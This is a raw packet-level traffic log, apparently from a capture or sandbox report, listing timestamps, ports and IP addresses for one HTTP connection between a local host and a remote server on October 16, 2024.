Oct 16, 2024 19:22:39.449811935 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.449858904 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.449858904 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.449898005 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.449903011 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.449913979 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.449917078 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.449925900 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.449929953 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.449937105 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.449937105 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.450043917 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.450043917 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.450043917 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.450067043 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.450072050 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.450090885 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.450090885 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.450139046 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.450139046 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.450153112 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.450171947 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.450197935 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.450273991 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.450273991 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.450321913 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.450321913 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.450340986 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.450398922 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.450398922 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.450433969 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.450433969 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.450454950 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.450462103 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.450478077 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.450716972 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.450716972 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.450716972 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.450716972 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.450716972 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.450716972 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.450790882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.450790882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.450790882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.450828075 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.450828075 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.450896978 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.450896978 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.450932026 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.450961113 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.450961113 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.450994015 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.451044083 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.451044083 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.451060057 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.451122046 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.451122046 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.451122046 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.451159954 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.451189041 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.451189041 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.451330900 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.451330900 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.451332092 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.451332092 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.451332092 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.451332092 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.451405048 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.451405048 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.451405048 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.451421976 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.451484919 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.451484919 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.451510906 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.451510906 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.451551914 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.451569080 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.451646090 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.451684952 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.451684952 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.451684952 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.451730967 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.451730967 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.451730967 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.451730967 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.451777935 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.451777935 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.451817989 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.451885939 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.451885939 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.451885939 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.452048063 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.452048063 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.452048063 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.452048063 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.452048063 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.452071905 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.452120066 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.452184916 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.452184916 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.452265024 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.452296972 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.452318907 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.452446938 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.452446938 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.452446938 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.452446938 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.452446938 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.452446938 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.452466965 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.452505112 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.452517986 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.452533960 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.452569962 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.452600002 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.452600002 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.452634096 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.452651024 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.452670097 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.452692986 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.452718973 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.452740908 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.452770948 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.452770948 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.452794075 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.452847004 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.452847004 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.452867031 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.452889919 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.452903032 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.452923059 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.452965021 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.452965021 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.452991962 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.453017950 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.453035116 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.453069925 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.453100920 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.453100920 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.453120947 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.453166008 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.453166008 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.453181982 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.453273058 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.453273058 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.453273058 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.453273058 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.453313112 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.453313112 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.453336954 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.453361034 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.453378916 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.453445911 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.453445911 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.453445911 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.453484058 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.453484058 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.453522921 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.453522921 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.453591108 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.453591108 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.453591108 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.453655005 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.453655958 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.453655958 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.453711033 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.453711033 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.453711033 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.453778028 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.453778028 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.453778028 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.453856945 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.453856945 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.453856945 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.453856945 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.453905106 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.453905106 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.453937054 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.454021931 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.454021931 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.454021931 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.454021931 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.454035997 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.454039097 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.454082966 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.454082966 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.454236984 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.454236984 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.454236984 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.454236984 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.454236984 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.454236984 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.454236984 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.454262018 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.454291105 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.454294920 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.454307079 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.454334974 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.454360008 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.454365015 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.454368114 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.454377890 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.454377890 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.454510927 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.454544067 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.454544067 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.454545021 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.454545021 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.454569101 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.454595089 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.454595089 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.454595089 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.454615116 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.454615116 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.454615116 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.454615116 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.454624891 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.454727888 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.454727888 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.454727888 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.454727888 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.454745054 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.454772949 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.454823017 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.454823017 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.454823017 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.454849958 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.454917908 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.454917908 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.454917908 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.454967022 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.454967022 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.455009937 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.455125093 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.455125093 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.455125093 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.455125093 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.455162048 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.455162048 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.455162048 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.455162048 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.455178022 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.455209970 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.455226898 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.455261946 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.455326080 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.455326080 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.455326080 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.455557108 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.455558062 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.455558062 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.455579042 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.455701113 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.455701113 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.455701113 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.455815077 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.455815077 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.455815077 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.455815077 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.455815077 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.455876112 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.455876112 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.455876112 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.455956936 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.455956936 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.455956936 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.455980062 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.455991030 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.456034899 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.456073046 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.456073046 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.456106901 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.456137896 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.456137896 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.456190109 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.456190109 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.456234932 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.456234932 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.456271887 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.456286907 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.456383944 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.456392050 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.456392050 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.456393003 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.456393003 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.456466913 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.456506014 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.456506014 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.456506014 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.456506014 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.456526995 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.456530094 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.456535101 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.456568003 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.456597090 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.456612110 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.456629038 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.456634998 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.456634998 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.456639051 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.456641912 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.456651926 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.456656933 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.456774950 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.456774950 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.456815004 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.456815004 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.456876993 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.456877947 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.456877947 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.456938028 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.456938028 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.456970930 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.456980944 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.457043886 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.457043886 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.457043886 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.457075119 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.457103968 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.457119942 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.457135916 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.457180977 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.457180977 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.457247972 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.457247972 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.457305908 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.457305908 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.457305908 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.457341909 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.457341909 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.457376957 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.457413912 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.457413912 CEST	49716	80	192.168.2.9	185.215.113.19
